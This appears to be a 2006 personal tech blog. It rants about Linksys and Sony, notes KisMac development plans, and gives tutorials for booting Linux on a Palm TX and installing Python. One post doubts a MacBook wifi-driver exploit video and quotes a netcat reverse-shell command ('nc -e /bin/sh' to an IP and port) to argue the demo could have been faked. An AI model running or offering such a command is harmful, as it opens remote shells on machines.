About

Tag cloud

(all)

Archives

01 Jul - 31 Jul 2006
01 Aug - 31 Aug 2006
01 Sep - 30 Sep 2006
01 Oct - 31 Oct 2006
01 Nov - 30 Nov 2006
01 Dec - 31 Dec 2006
01 Jan - 31 Jan 2007
01 Feb - 28 Feb 2007
01 Mar - 31 Mar 2007
01 Apr - 30 Apr 2007
01 May - 31 May 2007
01 Jun - 30 Jun 2007
01 Jul - 31 Jul 2007
01 Aug - 31 Aug 2007
01 Oct - 31 Oct 2007
01 Nov - 30 Nov 2007
01 Dec - 31 Dec 2007
01 Jan - 31 Jan 2008

Links

Search!

Last Comments

marsbar (long exposure + l…): thats realy cool add this…
pronuke (Nokia N800): Your excellent comparison…
gm (Safari issue fixe…): There were more comments …
Rodrigo Rodrigues… (Safari issue fixe…): I was seeking about Linux…

Stuff

Powered by Pivot - 1.40.4: 'Dreadwind' 
XML: RSS Feed 
XML: Atom Feed 

Time for another rant

Wednesday 30 August 2006 at 10:10 pm Target this time: Linksys

If this server is down, it's because my Linksys AG241 ADSL modem is being annoying.

Remember that whole GPL violation thing? They use Linux in all their stuff, and don't release the entire source code? They still haven't cleaned that mess up.

Also, why does their stuff start out truly awesome at version 1.0, and get worse as the version number gets higher?

WRT54G v1.0 had a mini-PCI slot for the wirless, and 20 LEDs on the front panel! This was awesome, but they soon fixed that. 1.1 had 8 LEDs, and no mini-PCI.

WRT54GS v1.0 had 32MB of RAM and 8MB of flash. That's obviously too good, so they had to fix it. Version 4 had 16MB of RAM and 4MB flash.

As if that wasn't bad enough, Version 5 did away with Linux entirely! The thing now runs VXWorks, and is essentially useless. Great going, Linksys.

Then they "fix" their own problem by rebadging all the V4 WRT54Gs they have as the "WRT54GL", and releasing them at a higher cost again, as they realise they just cut off a significant part of their market. Great going again!

Well, OK, their wireless gear, pre v5 isn't that bad. You can flash third-party firmwares and they actually become very good APs. Shame the default firmware is so bad.

Their ADSL modems are a similar story. The AG041 was apparently great (my friend has one), but the AG241 isn't. Well, I guess they upgraded the AG241 with ADSL2 support... but entirely screwed it over.

Although, I guess there is light at the end of the tunnel. The WRTSL54GS (gotta love the unpronouncable and unreadable product names!) is Linux based, and so is their 802.11n router, the WRT300n.

I am suspecting, however, that the reason they went with Linux on these routers was not because it could offer a better solution than anything else. I think it was actually because it would really cut down the amount of work they would have to do. Download the source code and look through it - it's basically Linux, with a ton of common programs added to it, all held together with a web interface, and some duct tape to cover up the fact that there's really not much that Linksys actually did in terms of software design.

fscking sony...

Friday 25 August 2006 at 11:40 am This post contains no technical content. If you are offended by that, please do not read this.

You know what? Right now, I think Sony's reputation has completely crashed down. Not that it was too high before anyway.

What have they done?

• Dell batteries - everyone knows this one. I need not cover it. Six reported explosions, many more unreported.

• Apple batteries - a few have experienced problems. No explosions yet, just cells expanding to twice their normal size, and pushing the metal plate off, and a few meltdowns - no fires yet. I'm glad my PowerBook has a LG battery in it.

• They also made the infamous PowerBook 5300 lithium ion batteries as well. How nice of them. (One prototype caught fire at Apple. No released versions did, however, because Apple delayed the shipping, and instead shipped them with Ni-MH batteries. The whole 5300 series was a complete disaster.)

• Palm touchscreens - without something like WhineHack installed, my Palm TX screen makes a loud whining sound. Why? "It's a Sony."

• PS3 - You can buy an Xbox 360 and a Wii, and have money left over. Or you can buy a PS3.

• Sony also attempted to use the PS2's yabasic interpreter to argue it was a home computer as it was programmable, and dodge import taxes.

• Proprietary formats - Betamax for one. Atrac3 for another. Conveniently, only Sony stuff seemed to be able to work fine with them.

• XCP rootkit - Windows users probably deserve it - but they can get a nasty DRM rootkit installed on their machines just by playing a Sony audio CD on their drives.

• Un-copyable CDs - Sure they're not copyable (easily) on a PC, but they work fine in a Mac. With a little fiddling. Still annoying. I bought the CD, and I should be able to add it to my iTunes library. As long as I don't share it on P2P services (although it makes me want to.)

• Sony CD players - my Sony CD walkman seems completely unable to play CD-Rs or CD-RWs. I've seen CD players that can't do CD-RWs, but CD-Rs...

Probably more that I can't think of right now. Although, round about now, I think they are worse than Microsoft. Yeah, that is really bad.

KisMac

Thursday 24 August 2006 at 5:59 pm What comes next?

Well, the GPS pane code is about to be committed.

What have I got planned?

• 802.11a support on atheros 802.11a cards.

• Not restarting the GPS subsystem every time something is touched in the prefs window - very annoying, and sometimes it doesn't restart properly. Only restart if the GPS was changed or something earth-shatteringly important happened.

• Adding satellite info to the GPS prefs.

• Improve the look and readability of the data over the map.

• Make the map draggable.

• Manual WEP key testing.

• Look at a possible bug regarding IVs.

• GPS speed indicator - maybe with progress bar, or like xgpsspeed.

• Update the vendor DB again.

Disaster!

Tuesday 22 August 2006 at 10:03 pm

Uh-oh.

Fixed it now - I erased the rootfs and restored it from a known good copy.

I was trying to get an X server up, and get icewm running... but something kinda went wrong regarding font rendering.

Minor setback, but I'm glad I made these installer "packages" - make it a lot easier to recover!

Python on Linux on Palm

Sunday 20 August 2006 at 8:25 pm Now that we expanded the rootfs, we actually should put something on it.

Let's install Python, so we can program with it on the move.

Searching for an arm-linux version of Python gets us this... which looks rather nice.

Now, we can't just put in the url into the ipkg feed... because our Palm has no net connection. No wifi drivers, unfortunately.

Anyway, we can either set up usbnet (... maybe later), or we can just install from the SD card.

The packages can be downloaded from here. We need the "Modern" set of packages - we run Familiar 0.8. Now, we could grab all of these, and install them manually (ipkg install something.ipk), or you could let me do the hard work, and ...

Now, I made a custom installer package, which you can get here.

Unzip it to the SD card, such that there is a directory named Python inside the SD card.

Boot up to Linux on the Palm, and open a console, and run the following:

cd /media/mmc1/python/
chmod +x install.sh
./install.sh


Wait while it installs. Some of the packages fail to install if you don't have other libraries installed - ignore them, unless it's something important like libpython or python-core.

Once it's installed, type python at the console, and enjoy!



What should I install next? Maybe gcc, so that I can compile stuff right on the Palm!

Moving home to a bigger rootfs...

Sunday 20 August 2006 at 11:59 am The default rootfs you'll find in that previous link is a little small for actually doing stuff with. We'll obviously need a bigger one if we actually plan to do something interesting.

I'm going to create a 230MB rootfs (to put on a 256 SD card, but it actually ended up going on my 1GB card...). You can create any size you want I guess, limited only by SD card.

You could of course partition your SD card, but I may want to use my SD in various devices, and don't want, say, a digital camera messing up the ext2 partition because it doesn't know what it is. So I use a rootfs file on the SD card.

First of all, we need to create the blank file to make the rootfs onto. Make it the size you want. You will need a linux machine and a SD reader. I met some trouble here as my Linux laptop is on the other side of town and I removed the Linux partition off my main laptop (needed the 10GB for something else). So, I picked a PowerPC Ubuntu CD up off the stack on my desk (my order came in a few days ago), and threw it into the G4's CD drive. I booted up to the live environment and did all this.

Maybe it could be done on the Palm. Theoretically it is possible, and it might work, but I haven't tried, nor do I want to.

dd if=/dev/zero of=linux_root.ext2 bs=1M count=230

bs is the block size - not of the filesystem we are about to make - but of the dd copy. We make a 1MB block from /dev/zero, and do so 230 times - 230x1MB is 230MB. You can replace the 230 with the size you want the filesystem.

Now run
mke2fs linux_root.ext2
or
mkfs.ext2 linux_root.ext2
depending on your distro. Most distros I've seen have the first, but Gentoo has the second.

Now, we need to loopmount the filesystems, so we can do our thing. We will mount them both at /mnt/im1 and /mnt/im2, tar up the contents of one, and untar it to the other. Why not just cp them? cp messes up static linked files, by copying the original file instead of the symlink.

cd to wherever the card is mounted (in /mnt or /media), and run the following commands at a root shell (sudo su if you have sudo, or su if you have a root password, or use "root terminal" or whatever is necessary to see a # prompt).


mkdir /mnt/im1
mkdir /mnt/im2
mount -o loop opie-image-v0.8.4-rc3-palmtx.rootfs.ext2 /mnt/im1
mount -o loop linux_root.ext2 /mnt/im2
cd /mnt/im1
tar -cvf /opie.tar .
cd /mnt/im2
tar -xvf /opie.tar .
rm /opie.tar
cd /
umount /mnt/im1
umount /mnt/im2


(yeah, there's probably a better way to manage those tar commands. maybe
tar -cv /mnt/im1 | tar -xv /mnt/im2 will work, but i haven't tried)

Remove the old opie image, and edit linux.boot.cfg to change ROOT_DEV to /media/mmc1/linux_root.ext2.

Now, unmount and eject the SD from the card reader, and put it into the Palm. Boot into Linux and enjoy your less spacious SD card, and more spacious Linux root device.

Coming soon: How to actually install stuff onto the bigger rootfs.

Damn bots..

Sunday 20 August 2006 at 10:23 am First of all, a slight annoyance. Linked my blog in a forum, and Googlebot has now crawled it (that's not such a bad thing), and has crawled all the rating links too - that's why all my posts seem to be rated at around 3. Archive.org has also joined in the fun.

For example:

crawling021.us.archive.org - - [19/Aug/2006:20:19:02 +0930> "GET /blog/rate_cgi.php?y=06&m=07&entry=entry060711-203945&rating=3 HTTP/1.0" 302 0 "http://gm.stackunderflow.com/blog/" "Mozilla/5.0 (compatible;archive.org_bot/heritrix-1.9.0-200608171144 +http://pandora.nla.gov.au/crawl.html)"


So, I've added a robots.txt to block this.

More Linux / Palm fun

Saturday 19 August 2006 at 1:52 pm Swapfile:
Oops, forgot one thing last time.

After doing the dd if=/dev/zero of=swap.fs bs=1m count=32 (cd'd to the card directory of course), you need to then open a shell on the Palm Linux side.

cd to /media/mmc1 and run
mkswap swap.fs
swapon swap.fs


and your swapfile will now actually be used. Ensure it is enabled in linux.boot.cfg.

GPE or OPIE?

OPIE is more like what you'd expect in a handheld Linux machine, and is what the Sharp Zaurus used. It's faster, and simpler. It draws straight to the framebuffer and uses up far less RAM. However, it's a far simpler system than GPE.

GPE is a lot more powerful than OPIE - it has a full X server, and is more like a greatly stripped-down desktop distro. It NEEDS a swapfile, or it's just unusably slow and incredibly on the TX.
Update: I've been told that it has reasonable performance without one. That isn't my experience, but maybe there's something that I've done/not done - my install instructions are in the previous post.

OPIE has handwriting recognition in addition to the onscreen keyboard. GPE only has an onscreen keyboard.
Update: I am told that there is handwriting recognition for GPE- install Rosetta.

On OPIE, everything runs as root. GPE has different user accounts. Although on a PDA, I guess... this isn't incredibly important.
Update: I am also told that OPIE does have some modifications that can be made to make it have user and root accounts.

TX specs:
Linux runs inside the 32MB of RAM on the TX, and ignores the 128MB of flash entirely. The TX has a 316MHZ ARM CPU and a 320x480 touchscreen. Linux boots and runs off a SD card (I use a 256MB SD card for Linux - i recommend you don't use the same one you use for your palmos stuff - something nasty might happen, so backup your stuff if it is the same card, and still back it up if it's a different one...)

Linux... in the palm of your hand.

Friday 18 August 2006 at 10:31 pm Decided to boot Linux up on my TX.



Well, first time I got a root prompt up on my Palm without having to fire up pssh!

Opie / GPE?

I prefer OPIE - it seems to run a fair bit faster. Maybe becuase GPE has a real X server.

So, let's just say you want to do this yourself on your Palm TX? How would you do that?

1. (optional, but you'd have to be stupid not to) Back up your entire palm.

2. Download the TX Boot Bundle from here.

3. Take a blank SD or MMC card - at least 128MB.

4. Throw garux.prc into Palm/Launcher/

5. Throw linux.boot.cfg into the root directory of the SD. zImage is only necessary if you want CocoBoot instead of Garux. Neither should matter.

6. Download the OPIE or GPE rootfs from here.

7. gunzip and then untar it, and throw it in the root directory.

8. (optional, but highly recommended for GPE) - dd if=/dev/zero of=swap.fs bs=1m count=32 for a swap file.

9. (only if you want GPE, or a swapfile) Using your text editor of choice, edit linux.boot.cfg.

Make sure there is a # before the line representing the image you DO NOT want to boot.

ROOT_DEV=/media/mmc1/opie-image-v0.8.4-rc3-palmtx.rootfs.ext2
#ROOT_DEV=/media/mmc1/gpe-image-v0.8.4-rc3-palmtx.rootfs.ext2


If you followed step 8, ensure that the swap_dev line is commented like this:

SWAP_DEV=/media/mmc1/swap.fs
#SWAP_DEV=none


10. Put the SD card into your Palm TX. Launch the "Garux" app from the card, hit "I did a backup" and hit "Start Linux".

11. (optional) Enjoy! Play around with OPIE / GPE.

12. Open a shell, run shutdown now. When init complains there are no processes left at this runlevel, insert the tip of the stylus into the reset hole on the back, and you will be back in Palm OS in about a minute or so. It will take longer to boot into Palm OS (read below).

Note about data loss:
Because the TX is a NVFS palm - all your user data is stored in flash memory - your data should be safe from Linux. The Palm OS will be wiped out from RAM, but this will be replaced back into RAM from it's decompressed image in flash when you reboot. Linux does not touch the flash. This process should be safe, because the same thing happens when the battery in your palm goes so flat that on a non-NVFS palm you would lose your data.

Drawbacks:
No wifi, no Bluetooth, no suspend, no power managment... kinda limits the usefulness of the device. Also, it occasionally locks up. It's not a compelling replacement for PalmOS, but it really shows promise!

Anyway, thanks to hackndev and LinuxToGo.

It doesn't all add up...

Sunday 06 August 2006 at 1:01 pm http://blog.washingtonpost.com/securityfix/2006/08/hijacking_a_macbook_in_60_seco.html
Video of an exploit against a wifi driver.

What doesn't add up?

1. What is that white thing he plugs into the MacBook? He says it's a third party wireless card. Which one is it?




2. Why is everyone reporting it as a sign that Apple is insecure if the flaw supposedly is in every device with said card. Shouldn't it be the fault of the manufacturer of the card?

3. It's only a guess that Atheros is responsible, we don't know what that white thing is. It's not an ExpressCard - the MacBook lacks an ExpressCard slot. It kinda looks like it has USB on the end. It's not an ExpressCard, or a PCMCIA card. The MacBook only has a power connector, two USB, one FireWIre, a monitor, and sound ports on the side. It could be USB, but a device that big hanging off a USB port would be stupid as it would be easily broken off. It must be connected to the USB port though - there's nowhere else to put it. So what is it?

4. Some people have been claiming it's fake because they didn't give a live demo. Their reason for not giving a live demo (someone might capture the exploit, and use it themselves) is understandable. But of course, every bit of "proof" in the video could have been faked.

5. He walks around the table to show there are no wires. So? What prevents the exploit from working wirelessly?

6. Someone COULD have just edited out the bit where he turns to the MacBook and types "nc -e "/bin/sh" 192.168.1.1 1234" (yes, i know that OS X's netcat isn't compiled with -e in there, but it can be added). The shell starts within that person's home directory too - which is very strange. Surely, it would start somewhere different if it was started by the device driver.

7. Why did he type "bash" at the terminal on the Mac?

8. ifconfig doesn't add up either. We can see wlt1 on it, but last time I checked, that driver didn't do the monitor mode interface (maybe he's found out a way to enable it, or maybe i'm mistaken on that one. I'm only going from what I heard when we were first trying to get KisMac going on the MacBookPro, which has the same card. KisMac works in passive mode on that computer, but I heard it worked with the en1 interface instead. I should actually check the sourcecode of KisMac. I have that wlt1 interface enabled on my PB G4 (it's just a case of setting <true/> to <APMonitorMode> in the XML file), but that's a different computer, different card. I will have to further investigate that one - one of my friends has a black macbook.)



Also, we see only en0 and en1. Below that, we see the shell prompt. So the output was cut off.

9. Also, unfortunately, we don't see the whole commandline of the exploit. The "target" MAC address was off the edge of the camera. That could have been useful.

The comments on that article are interesting- it's clear nobody seems to have much of an idea what they are talking about, and are just flaming everyone else. Obviously nobody actually watched the video, or even heard him say "It's not the fault of the Mac OS as we are using third-party hardware here".

Oh, and the "victim" MacBook has the same internal IP as this server. Is that a bad sign?

I'm not saying this didn't happen, and I'm not denying it's possible. I think it was some good work finding and exploiting a device driver flaw, but the video could probably have been clearer as to what exactly happened, and what was achieved.

In fact, I'm impressed with this - link - some of their past work.

Update: Since then, their website has been updated, to make it more clear that it was not anything Apple that was exploited. However, everyone else reporting this seems not to see this fact.

Coming to a KisMac near you!

Tuesday 01 August 2006 at 9:33 pm

New GPS Info pane.

(yeah, I do have a thing for NSLevelIndicators :) )

Linkdump